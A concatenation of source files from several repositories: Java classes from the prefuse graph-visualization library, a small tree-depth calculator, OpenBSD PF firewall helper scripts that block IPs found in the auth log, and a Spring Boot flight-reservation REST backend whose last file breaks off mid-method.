implements GraphEventListener
{
/**
* @see edu.berkeley.guir.prefuse.graph.event.GraphEventListener#nodeAdded(edu.berkeley.guir.prefuse.graph.Graph, edu.berkeley.guir.prefuse.graph.Node)
*/
public void nodeAdded(Graph g, Node n) {
((GraphEventListener) a).nodeAdded(g,n);
((GraphEventListener) b).nodeAdded(g,n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.event.GraphEventListener#nodeRemoved(edu.berkeley.guir.prefuse.graph.Graph, edu.berkeley.guir.prefuse.graph.Node)
*/
public void nodeRemoved(Graph g, Node n) {
((GraphEventListener) a).nodeRemoved(g,n);
((GraphEventListener) b).nodeRemoved(g,n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.event.GraphEventListener#nodeReplaced(edu.berkeley.guir.prefuse.graph.Graph, edu.berkeley.guir.prefuse.graph.Node, edu.berkeley.guir.prefuse.graph.Node)
*/
public void nodeReplaced(Graph g, Node o, Node n) {
((GraphEventListener) a).nodeReplaced(g,o,n);
((GraphEventListener) b).nodeReplaced(g,o,n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.event.GraphEventListener#edgeAdded(edu.berkeley.guir.prefuse.graph.Graph, edu.berkeley.guir.prefuse.graph.Edge)
*/
public void edgeAdded(Graph g, Edge e) {
((GraphEventListener) a).edgeAdded(g,e);
((GraphEventListener) b).edgeAdded(g,e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.event.GraphEventListener#edgeRemoved(edu.berkeley.guir.prefuse.graph.Graph, edu.berkeley.guir.prefuse.graph.Edge)
*/
public void edgeRemoved(Graph g, Edge e) {
((GraphEventListener) a).edgeRemoved(g,e);
((GraphEventListener) b).edgeRemoved(g,e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.event.GraphEventListener#edgeReplaced(edu.berkeley.guir.prefuse.graph.Graph, edu.berkeley.guir.prefuse.graph.Edge, edu.berkeley.guir.prefuse.graph.Edge)
*/
public void edgeReplaced(Graph g, Edge o, Edge n) {
((GraphEventListener) a).edgeReplaced(g,o,n);
((GraphEventListener) b).edgeReplaced(g,o,n);
} //
public static GraphEventListener add(GraphEventListener a, GraphEventListener b) {
return (GraphEventListener) addInternal(a, b);
} //
public static GraphEventListener remove(GraphEventListener a, GraphEventListener b) {
return (GraphEventListener) removeInternal(a, b);
} //
/**
* Returns the resulting multicast listener from adding listener-a
* and listener-b together.
* If listener-a is null, it returns listener-b;
* If listener-b is null, it returns listener-a
* If neither are null, then it creates and returns
* a new AWTEventMulticaster instance which chains a with b.
* @param a event listener-a
* @param b event listener-b
*/
protected static EventListener addInternal(
EventListener a,
EventListener b) {
if (a == null)
return b;
if (b == null)
return a;
return new GraphEventMulticaster(a, b);
} //
protected EventListener remove(EventListener oldl) {
if (oldl == a)
return b;
if (oldl == b)
return a;
EventListener a2 = removeInternal(a, oldl);
EventListener b2 = removeInternal(b, oldl);
if (a2 == a && b2 == b) {
return this; // it's not here
}
return addInternal(a2, b2);
} //
protected GraphEventMulticaster(EventListener a, EventListener b) {
super(a,b);
} //
} // end of class PrefuseEventMulticaster
<file_sep>package edu.berkeley.guir.prefuse.action.filter;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Node;
/**
* The GraphEdgeFilter allows all edges adjacent to visualized
* nodes to be visualized. By default, garbage collection on
* edge items is performed.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class GraphEdgeFilter extends Filter {
private boolean m_edgesVisible;
/**
* Filters graph edges, connecting filtered graph nodes into a
* graph structure. Filtered edges are visible by default.
*/
public GraphEdgeFilter() {
this(true);
} //
/**
* Filters graph edges, connecting filtered graph nodes into a
* graph structure. DefaultEdge visibility can be controlled.
* @param edgesVisible determines whether or not the filtered
* edges are visible in the display.
*/
public GraphEdgeFilter(boolean edgesVisible) {
super(ItemRegistry.DEFAULT_EDGE_CLASS, true);
m_edgesVisible = edgesVisible;
} //
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
Iterator nodeIter = registry.getNodeItems();
while ( nodeIter.hasNext() ) {
NodeItem nitem = (NodeItem)nodeIter.next();
Node node = (Node)nitem.getEntity();
Iterator edgeIter = node.getEdges();
while ( edgeIter.hasNext() ) {
Edge edge = (Edge)edgeIter.next();
Node n = edge.getAdjacentNode(node);
if ( registry.isVisible(n) ) {
EdgeItem eitem = registry.getEdgeItem(edge, true);
nitem.addEdge(eitem);
if ( !m_edgesVisible ) eitem.setVisible(false);
}
}
}
// optional garbage collection
super.run(registry, frac);
} //
} // end of class GraphEdgeFilter
<file_sep>package edu.berkeley.guir.prefusex.layout;
import java.awt.geom.Rectangle2D;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.action.assignment.Layout;
/**
* Implements a 2-D scatterplot layout.
* TODO: this class is incomplete, still need to add support for setting axis scales.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org</a>
*/
public class ScatterplotLayout extends Layout {
protected String xAttribute;
protected String yAttribute;
public ScatterplotLayout(String xAttr, String yAttr) {
this.xAttribute = xAttr;
this.yAttribute = yAttr;
} //
protected double getXCoord(VisualItem item) {
return getCoord(item, xAttribute);
} //
protected double getYCoord(VisualItem item) {
return getCoord(item, yAttribute);
} //
protected double getCoord(VisualItem item, String attr) {
String value = item.getAttribute(attr);
try {
return Double.parseDouble(value);
} catch ( Exception e ) {
System.err.println("Attribute \""+attr+"\" is not a valid numerical value.");
return Double.NaN;
}
} //
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
Rectangle2D b = this.getLayoutBounds(registry);
double bx = b.getMinX(), by = b.getMinY();
Iterator iter = registry.getNodeItems();
while ( iter.hasNext() ) {
NodeItem n = (NodeItem)iter.next();
double x = getXCoord(n);
double y = getYCoord(n);
// TODO add scaling factors which corresponds to scatterplot axis values
this.setLocation(n,null,x,y);
}
} //
} // end of class ScatterplotLayout<file_sep>package edu.berkeley.guir.prefuse.collections;
import java.util.Iterator;
import java.util.NoSuchElementException;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* Provided an iterator over nodes, this class will iterate over all
* adjacent edges. Each adjacent edge is returned exactly once in the
* iteration.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class TreeEdgeIterator implements Iterator {
private Iterator m_nodeIterator;
private Iterator m_edgeIterator;
private TreeNode m_curNode;
private Edge m_next;
/**
* Constructor.
* @param nodeIterator an iterator over nodes
*/
public TreeEdgeIterator(Iterator nodeIterator) {
m_nodeIterator = nodeIterator;
if ( nodeIterator.hasNext() ) {
m_curNode = (TreeNode)nodeIterator.next();
m_edgeIterator = m_curNode.getChildEdges();
}
m_next = findNext();
} //
/**
* Not currently supported.
* TODO: Support in future versions?
* @see java.util.Iterator#remove()
*/
public void remove() {
throw new UnsupportedOperationException();
} //
/**
* @see java.util.Iterator#hasNext()
*/
public boolean hasNext() {
return (m_next != null);
} //
/**
* @see java.util.Iterator#next()
*/
public Object next() {
if ( m_next == null )
throw new NoSuchElementException("No next item in iterator");
Edge retval = m_next;
m_next = findNext();
return retval;
} //
private Edge findNext() {
while ( true ) {
if ( m_edgeIterator != null && m_edgeIterator.hasNext() ) {
return (Edge)m_edgeIterator.next();
} else if ( m_nodeIterator.hasNext() ) {
m_curNode = (TreeNode)m_nodeIterator.next();
m_edgeIterator = m_curNode.getChildEdges();
} else {
m_curNode = null;
m_nodeIterator = null;
m_edgeIterator = null;
return null;
}
}
} //
} // end of class TreeEdgeIterator
<file_sep>package edu.berkeley.guir.prefuse.util;
import java.awt.Font;
import java.util.HashMap;
/**
* Maintains a cache of fonts and other useful font computation
* routines.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class FontLib {
private static final HashMap fontMap = new HashMap();
private static int misses = 0;
private static int lookups = 0;
public static Font getFont(String name, int style, double size) {
int isize = (int)Math.floor(size);
return getFont(name, style, isize);
} //
public static Font getFont(String name, int style, int size) {
Integer key = new Integer((name.hashCode()<<8)+(size<<2)+style);
Font f = null;
if ( (f=(Font)fontMap.get(key)) == null ) {
f = new Font(name, style, size);
fontMap.put(key, f);
misses++;
}
lookups++;
return f;
} //
public static int getCacheMissCount() {
return misses;
} //
public static int getCacheLookupCount() {
return lookups;
} //
public static void clearCache() {
fontMap.clear();
} //
public static Font getIntermediateFont(Font f1, Font f2, double frac) {
String name;
int size, style;
if ( frac < 0.5 ) {
name = f1.getName();
style = f1.getStyle();
} else {
name = f2.getName();
style = f2.getStyle();
}
size = (int)Math.round(frac*f2.getSize()+(1-frac)*f1.getSize());
return getFont(name,style,size);
} //
} // end of class FontLib
<file_sep>package edu.berkeley.guir.prefuse.action;
import edu.berkeley.guir.prefuse.ItemRegistry;
/**
* Interface which every graph processing action must provide.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public interface Action {
/**
* Runs this action, performing desired graph processing
* @param registry the ItemRegistry housing the VisualItems to process
* @param frac a fraction indicating the current progress of this
* action if it persists over time. For actions that are only run once,
* a value of 0 is used.
*/
public void run(ItemRegistry registry, double frac);
/**
* Indicates if this action is currently enabled.
* @return true if this action is enabled, false otherwise.
*/
public boolean isEnabled();
/**
* Determines if this Action is enabled or disabled.
* @param s true to enable the Action, false to disable it.
*/
public void setEnabled(boolean s);
} // end of interface Action
|
cdc2b89c953ced0f5a8f62618697203e7773e0da
|
[
"Java",
"HTML"
] | 72 |
Java
|
sahlaK/vizbook
|
9a5b4a28a0aeeb250ad82050af8e9ae375d56305
|
f36ad1034bfcdc1361de6f6e315e40305cd6c782
|
refs/heads/master
|
<repo_name>sarunasdubinskas/DataTreesDepthCalc<file_sep>/DataTreeDepthCalc/DataTreeDepthCalc/Saka.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;
namespace DataTreeDepthCalc
{
class Saka
{
private int depth = 0;
private int maxDepth = 0;
private List<Saka> sakos;
public Saka()
{
sakos = new List<Saka>();
}
public void AddBranch(Saka saka)
{
sakos.Add(saka);
}
public int BranchDepth()
{
if (sakos.Count > 0)
{
foreach (Saka saka in sakos)
{
depth = saka.BranchDepth();
if (maxDepth < depth)
{
maxDepth = depth+1;
}
}
}
else
{
return 1;
}
return maxDepth;
}
}
}
<file_sep>/DataTreeDepthCalc/DataTreeDepthCalc/Program.cs
using System;
using System.Collections.Generic;
namespace DataTreeDepthCalc
{
class Program
{
static void Main()
{
PirmasTestas();
AntrasTestas();
Console.ReadKey();
}
private static void PirmasTestas()
{
Saka saka1 = new Saka();
Saka saka11 = new Saka();
Saka saka12 = new Saka();
Saka saka13 = new Saka();
Saka saka111 = new Saka();
Saka saka112 = new Saka();
Saka saka121 = new Saka();
Saka saka131 = new Saka();
Saka saka132 = new Saka();
Saka saka133 = new Saka();
Saka saka1311 = new Saka();
Saka saka1312 = new Saka();
Saka saka1321 = new Saka();
Saka saka1322 = new Saka();
Saka saka1323 = new Saka();
Saka saka1331 = new Saka();
Saka saka13221 = new Saka();
Saka saka13231 = new Saka();
Saka saka13232 = new Saka();
Saka saka132311 = new Saka();
Saka saka132312 = new Saka();
Saka saka132321 = new Saka();
Saka saka1323111 = new Saka();
saka1.AddBranch(saka11);
saka11.AddBranch(saka111);
saka11.AddBranch(saka112);
saka1.AddBranch(saka12);
saka12.AddBranch(saka121);
saka1.AddBranch(saka13);
saka13.AddBranch(saka131);
saka131.AddBranch(saka1311);
saka131.AddBranch(saka1312);
saka13.AddBranch(saka132);
saka132.AddBranch(saka1321);
saka132.AddBranch(saka1322);
saka1322.AddBranch(saka13221);
saka132.AddBranch(saka1323);
saka1323.AddBranch(saka13231);
saka13231.AddBranch(saka132311);
saka132311.AddBranch(saka1323111); //giliausia - 7 laipsinio
saka13231.AddBranch(saka132312);
saka1323.AddBranch(saka13232);
saka13232.AddBranch(saka132321);
saka13.AddBranch(saka133);
saka133.AddBranch(saka1331);
Console.WriteLine("Pirmo testo rez: "+saka1.BranchDepth());
}
private static void AntrasTestas()
{
Saka saka1 = new Saka();
Saka saka10 = new Saka();
Saka saka11 = new Saka();
Saka saka111 = new Saka();
Saka saka1111 = new Saka();
Saka saka11111 = new Saka();
Saka saka111111 = new Saka();
saka1.AddBranch(saka11);
saka11.AddBranch(saka111);
saka111.AddBranch(saka1111);
saka1111.AddBranch(saka11111);
saka11111.AddBranch(saka111111); // giliausia - 6 laipsnio
saka1.AddBranch(saka10);
Console.WriteLine("Antro testo rez: " + saka1.BranchDepth());
}
}
}
|
50bcaf2d3e669db3ca17d2fcf65751ef8bb00f58
|
[
"C#"
] | 2 |
C#
|
sarunasdubinskas/DataTreesDepthCalc
|
3da27454908646729480f414be1290303cee95dd
|
f4a8c1a06fbdc012c4c9f4f5ef93be8373928f85
|
refs/heads/master
|
<file_sep>package com.zhao.dao;
import java.io.InputStream;
import java.sql.*;
import java.util.Properties;
public class BaseDao {
private static String url;
private static String username;
private static String password;
// 静态语句块,在类创建时首先加载MySQL驱动
static {
// 加载流文件
try {
// BaseDao.class:获得对象; getClassLoader()类加载器; getResourceAsStream("db.properties"):加载资源文件放到输入流中
InputStream inputStream = BaseDao.class.getClassLoader().getResourceAsStream("db.properties");
// 创建Properties类型对象
Properties p = new Properties();
p.load(inputStream);
url = p.getProperty("url");
username = p.getProperty("username");
password = <PASSWORD>("<PASSWORD>");
// 加载MySQL驱动
Class.forName(p.getProperty("driver"));
System.out.println("驱动加载成功");
} catch (Exception e) {
e.printStackTrace();
System.out.println("驱动加载失败");
}
}
public static Connection getConnection() throws SQLException {
return DriverManager.getConnection(url, username, password);
}
// 查询
public static ResultSet execute(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet, String sql, Object[] params) throws SQLException {
preparedStatement = connection.prepareStatement(sql);
for (int i = 0; i < params.length; i++){
preparedStatement.setObject(i+1, params[i]);
}
resultSet = preparedStatement.executeQuery();
return resultSet;
}
// 增删改
public static int execute(Connection connection, PreparedStatement preparedStatement, String sql, Object[] params) throws SQLException {
preparedStatement = connection.prepareStatement(sql);
for (int i = 0; i < params.length; i++){
preparedStatement.setObject(i+1, params[i]);
}
return preparedStatement.executeUpdate();
}
// 释放资源
public static boolean release(Connection conn, Statement statement, ResultSet result) {
boolean flag = true;
if (result != null) {
try {
result.close();
result = null;
} catch (SQLException e) {
flag = false;
e.printStackTrace();
}
}
if (statement != null) {
try {
statement.close();
statement = null;
} catch (SQLException e) {
flag = false;
e.printStackTrace();
}
}
if (conn != null) {
try {
conn.close();
conn = null;
} catch (SQLException e) {
flag = false;
e.printStackTrace();
}
}
return flag;
}
}
<file_sep>package com.zhao.service.user;
import com.zhao.dao.BaseDao;
import com.zhao.dao.user.UserDao;
import com.zhao.dao.user.UserDaoImpl;
import com.zhao.pojo.User;
import org.junit.Test;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.List;
public class UserServiceImpl implements UserService {
// 业务层都会调用dao层,所以要引入dao层
private UserDao userDao;
public UserServiceImpl() {
this.userDao = new UserDaoImpl();
}
public User login(String userCode, String password) {
Connection connection = null;
User user = null;
try {
connection = BaseDao.getConnection();
user = userDao.getLoginUser(connection, userCode);
// 如果查询出的密码和输入的密码不相同,user置空
if ((user != null) && (!password.equals(user.getUserPassword()))){
user = null;
}
} catch (SQLException throwables) {
throwables.printStackTrace();
} finally {
BaseDao.release(connection, null, null);
}
return user;
}
public boolean updatePsw(int id, String password) {
Connection connection = null;
boolean flag = false;
try {
connection = BaseDao.getConnection();
if (userDao.updatePsw(connection, id, password) > 0) {
flag = true;
}
} catch (SQLException throwables) {
throwables.printStackTrace();
} finally {
BaseDao.release(connection, null, null);
}
return flag;
}
public int getUserCount(String username, int userRole) {
int count = 0;
Connection connection = null;
try {
connection = BaseDao.getConnection();
count = userDao.getUserCount(connection, username, userRole);
} catch (SQLException throwables) {
throwables.printStackTrace();
} finally {
BaseDao.release(connection, null, null);
}
return count;
}
public List<User> getUserList(String userName, int userRole, int currentPageNo, int pageSize) {
Connection connection = null;
List<User> userList = null;
try {
connection = BaseDao.getConnection();
userList = userDao.getUserList(connection, userName, userRole, currentPageNo, pageSize);
// TODO:
} catch (SQLException throwables) {
throwables.printStackTrace();
} finally {
BaseDao.release(connection, null, null);
}
return null;
}
@Test
public void test() {
UserServiceImpl userService = new UserServiceImpl();
// User user = userService.login("admin", "111");
// System.out.println(user.getUserPassword());
int count = userService.getUserCount("李", 2);
System.out.println(count);
}
}
|
ba750ade97b9672bb41fe25a3088727761949177
|
[
"Java"
] | 2 |
Java
|
yuyun-zhao/smbms
|
7996f29a186dd7e7f7c9388fa185102afb93e50c
|
80189eb88b07238ffce92791d7d6cd1d9e8450fa
|
refs/heads/master
|
<file_sep># awall-e
Firewall update scripts for PF.
There are 4 scripts.
1 fwadd / Add an item to be on the permanent blocked list.
2 fwdel / Delete an item on the permanent blocked list.
3 fwprep / It scans /var/log/authlog and blocks all items that meet the following conditions which are the following:
"Did not receive identification".
"Bad protocol version identification"
4 fwlist / List all IP's that are blocked currently.
I copy all scripts to /usr/local/bin/fwlist and make the executable via chmod +x
*Add this your crontab entry to.
# Update FW blocking rules every 5 minutes
*/5 * * * * /usr/local/bin/fwprep
<file_sep>#!/bin/sh
echo "Blocked IP's"
pfctl -t badhosts -T show
echo "\n"
echo "Amount of hosts"
pfctl -t badhosts -T show | wc -l
<file_sep>#!/bin/sh
# Add an IP to the blocked IP addresses list.
echo "$1" >> /etc/pf.blocked.ip.conf
# Make sure the list is sorted and all entries have only a single instance.
fwprep
#reload the config for PF
pfctl -f /etc/pf.conf
<file_sep>#!/bin/sh
cp /etc/pf.blocked.ip.conf /tmp/fwlist
cat /var/log/authlog | awk {'print $12'} | grep '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | grep -v "\[" >> /tmp/fwlist
cat /tmp/fwlist | sort | uniq > /etc/pf.blocked.ip.conf
pfctl -f /etc/pf.conf
|
dedf6524160da95911298fff2f6cc3be4bb86aae
|
[
"Markdown",
"Shell"
] | 4 |
Markdown
|
sillkongen/awall-e
|
724980c4739906e4cd51fe1b5472f59238dbf585
|
518e79bd6e7efb54c8e0dc02ce64e583adb36581
|
refs/heads/master
|
<repo_name>arcadu22/flight_micro_backend<file_sep>/src/main/java/com/example/demo/controllers/controladorDestino.java
package com.example.demo.controllers;
import java.util.ArrayList;
import java.util.Optional;
import com.example.demo.models.Destino;
import com.example.demo.services.destinoServices;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/destino")
public class controladorDestino {
@Autowired
destinoServices destinoServices;
@GetMapping()
public ArrayList<Destino> obtenterOrigen(){
return this.destinoServices.obtDestino();
}
@PostMapping()
public Destino guardarOrigen(@RequestBody Destino destino){
return this.destinoServices.guardarDestino(destino);
}
@GetMapping(path = "/{id}")
public Optional<Destino> obtenerDestinoPorId(@PathVariable("id") Long id){
return this.destinoServices.obtenerId(id);
}
@DeleteMapping(path = "/{id}")
public String eliminarPorId(@PathVariable("id") Long id){
boolean ok = this.destinoServices.EliminarDestino(id);
if (ok) {
return "Se elimino el Destino con el id ";
} else {
return "No se pudo eliminar el Destino con el id";
}
}
}
<file_sep>/src/main/java/com/example/demo/repositories/repositoriesTiquete.java
package com.example.demo.repositories;
import com.example.demo.models.Tiquete;
import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;
@Repository
public interface repositoriesTiquete extends CrudRepository<Tiquete,Long> {
}
<file_sep>/src/main/resources/application.properties
spring.datasource.url=jdbc:mysql://localhost:3306/viajesBD
spring.datasource.username=root
spring.datasource.password=<PASSWORD>
spring.jpa.hibernate.ddl-auto=update
<file_sep>/src/main/java/com/example/demo/controllers/controladorReserva.java
package com.example.demo.controllers;
import java.util.ArrayList;
import java.util.Optional;
import com.example.demo.models.Reserva;
import com.example.demo.services.reservaServices;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/reserva")
public class controladorReserva {
@Autowired
reservaServices reservaServices;
@GetMapping()
public ArrayList<Reserva> obtenerReserva() {
return reservaServices.obtReserva();
}
@PostMapping()
public Reserva guardarReserva(@RequestBody Reserva reserva) {
return this.reservaServices.guardarReserva(reserva);
}
@GetMapping(path ="/{id}")
public Optional<Reserva> obtenerReservaPorId(@PathVariable("id") Long id) {
return this.reservaServices.obtenerId(id);
}
@DeleteMapping(path = "/{id}")
public String eliminarPorId(@PathVariable("id") Long id){
boolean ok = this.reservaServices.EliminarReserva(id);
if (ok) {
return "Se elimino la Reserva con el id " +id;
} else {
return "No se pudo eliminar la Reserva con el id " +id;
}
}
}
<file_sep>/src/main/java/com/example/demo/models/Avion.java
package com.example.demo.models;
import java.util.Set;
import javax.persistence.*;
@Entity
@Table(name = "Avion")
public class Avion {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(unique = true, nullable = false)
// atributos
private Long idAvion;
@Column(length = 50, nullable = false)
private String topoAvion;
@Column(length = 4, nullable = false)
private int capacidad;
@Column(length = 11, nullable = false)
private String matricula;
@Column(length = 30, nullable = false)
private String empresa;
@Column(length = 30, nullable = false)
private String ref;
//constructor
public Avion() {
}
public String getRef() {
return ref;
}
public void setRef(String ref) {
this.ref = ref;
}
//atributos
public Long getIdAvion() {
return idAvion;
}
public void setIdAvion(Long idAvion) {
this.idAvion = idAvion;
}
public String getTopoAvion() {
return topoAvion;
}
public void setTopoAvion(String topoAvion) {
this.topoAvion = topoAvion;
}
public int getCapacidad() {
return capacidad;
}
public void setCapacidad(int capacidad) {
this.capacidad = capacidad;
}
public String getMatricula() {
return matricula;
}
public void setMatricula(String matricula) {
this.matricula = matricula;
}
public String getEmpresa() {
return empresa;
}
public void setEmpresa(String empresa) {
this.empresa = empresa;
}
public Avion(Long idAvion){
this.idAvion = idAvion;
}
//Relacion de Con la tabla Tiquete
@OneToMany(mappedBy = "avion")
private Set<Tiquete> tiqueteList;
public Cliente getCliente() {
return cliente;
}
public void setCliente(Cliente cliente) {
this.cliente = cliente;
}
@ManyToOne
@JoinColumn(name = "cliente")
Cliente cliente;
public Avion(Cliente cliente) {
this.cliente = cliente;
}
}
<file_sep>/src/main/java/com/example/demo/services/clienteServices.java
package com.example.demo.services;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import com.example.demo.models.Cliente;
import com.example.demo.repositories.repositoriesCliente;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class clienteServices {
@Autowired
repositoriesCliente clienteRepositori;
//Ver todos los usuarios
public ArrayList<Cliente> obtClientes(){
return (ArrayList<Cliente>) clienteRepositori.findAll();
}
//Guardar cliente
public Cliente guardarCliente(Cliente cliente){
return clienteRepositori.save(cliente);
}
//Buscar por identificacion
public List<Cliente> obtIdentificacion(String documento){
return clienteRepositori.findBydocumento(documento);
}
//Eliminar
public boolean EliminarCliente(Long id){
try {
clienteRepositori.deleteById(id);
return true;
} catch (Exception e) {
return false;
}
}
//Actualizar
public Cliente actualizar(Cliente cliente,Long id) {
Optional<Cliente> optional2 = clienteRepositori.findById(cliente.getIdUsuario());
Cliente existCliente = optional2.get();
existCliente.setEmail(cliente.getEmail());
existCliente.setEdad(cliente.getEdad());
existCliente.setNombre(cliente.getNombre());
existCliente.setTelefono(cliente.getTelefono());
existCliente.setApellido(cliente.getApellido());
return clienteRepositori.save(existCliente);
}
}
<file_sep>/src/main/java/com/example/demo/services/origenServices.java
package com.example.demo.services;
import java.util.ArrayList;
import java.util.Optional;
import com.example.demo.models.Origen;
import com.example.demo.repositories.repositoriesOrigen;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class origenServices {
@Autowired
repositoriesOrigen origenRepositori;
//Ver todos los Origen
public ArrayList<Origen> obtOrigen(){
return (ArrayList<Origen>) origenRepositori.findAll();
}
//Guardar Origen
public Origen guardarOrigen(Origen origen){
return origenRepositori.save(origen);
}
//Buscar por ID Origen
public Optional<Origen> obtenerId(Long id){
return origenRepositori.findById(id);
}
//Eliminar Origen
public boolean EliminarOrigen(Long id){
try {
origenRepositori.deleteById(id);
return true;
} catch (Exception e) {
return false;
}
}
}
<file_sep>/src/main/java/com/example/demo/services/reservaServices.java
package com.example.demo.services;
import java.util.ArrayList;
import java.util.Optional;
import com.example.demo.models.Reserva;
import com.example.demo.repositories.repositoriesReserva;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class reservaServices {
@Autowired
repositoriesReserva reservaRepositori;
//Ver todos los usuarios
public ArrayList<Reserva> obtReserva(){
return (ArrayList<Reserva>) reservaRepositori.findAll();
}
//Guardar reserva
public Reserva guardarReserva(Reserva reserva){
return reservaRepositori.save(reserva);
}
//Buscar por ID reserva
public Optional<Reserva>obtenerId(Long id){
return reservaRepositori.findById(id);
}
//Eliminar
public boolean EliminarReserva(Long id){
try {
reservaRepositori.deleteById(id);
return true;
} catch (Exception e) {
return false;
}
}
}
<file_sep>/src/main/java/com/example/demo/controllers/controladorTiquete.java
package com.example.demo.controllers;
import java.util.ArrayList;
import java.util.Optional;
import com.example.demo.models.Tiquete;
import com.example.demo.services.tiqueteServices;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/tiquete")
public class controladorTiquete {
@Autowired
tiqueteServices tiqueteServices;
@GetMapping()
public ArrayList<Tiquete> obtenterTiquete(){
return this.tiqueteServices.obtTiquete();
}
@PostMapping()
public Tiquete guardarTiquete(@RequestBody Tiquete tiquete){
return this.tiqueteServices.guardarTiquete(tiquete);
}
@GetMapping(path = "/{id}")
public Optional<Tiquete> obtenerTiquetePorId(@PathVariable("id") Long id){
return this.tiqueteServices.obtenerId(id);
}
@DeleteMapping(path = "/{id}")
public String eliminarPorId(@PathVariable("id") Long id){
boolean ok = this.tiqueteServices.EliminarTiquete(id);
if (ok) {
return "Se elimino el tiquete con el id "+ id;
} else {
return "No se pudo eliminar el tiquete con el id"+ id;
}
}
}
<file_sep>/src/main/java/com/example/demo/controllers/controladorCliente.java
package com.example.demo.controllers;
import java.util.ArrayList;
import java.util.List;
import com.example.demo.models.Cliente;
import com.example.demo.services.clienteServices;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
@RestController
@RequestMapping("/usuario")
public class controladorCliente {
@Autowired
clienteServices clienteServices;
@GetMapping()
public ArrayList<Cliente> obtenerUsuario() {
return clienteServices.obtClientes();
}
@GetMapping("/query")
public List<Cliente> actualizar(@RequestParam("documento") String documento){
if(documento.equals("")){
return this.obtenerUsuario();
}
else{
return this.clienteServices.obtIdentificacion(documento);
}
}
@PostMapping()
public Cliente guardarUsuario(@RequestBody Cliente cliente) {
return this.clienteServices.guardarCliente(cliente);
}
@PutMapping(path = "/{id}")
public Cliente actuaCliente(@RequestBody Cliente cliente, @PathVariable ("id") Long id){
return this.clienteServices.actualizar(cliente, id);
}
@DeleteMapping(path = "/{id}")
public String eliminarPorId(@PathVariable("id") Long id){
boolean ok = this.clienteServices.EliminarCliente(id);
if (ok) {
return "Se elimino el Usuario con el id "+id;
} else {
return "No se pudo eliminar el usuario con el id"+id;
}
}
}
<file_sep>/src/main/java/com/example/demo/services/tiqueteServices.java
package com.example.demo.services;
import java.util.ArrayList;
import java.util.Optional;
import com.example.demo.models.Tiquete;
import com.example.demo.repositories.repositoriesTiquete;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class tiqueteServices {
@Autowired
repositoriesTiquete tiqueteRepositori;
//Ver todos los Tiquetes
public ArrayList<Tiquete> obtTiquete(){
return (ArrayList<Tiquete>) tiqueteRepositori.findAll();
}
//Guardar Tiquete
public Tiquete guardarTiquete(Tiquete tiquete){
return tiqueteRepositori.save(tiquete);
}
//Buscar por ID Tiquete
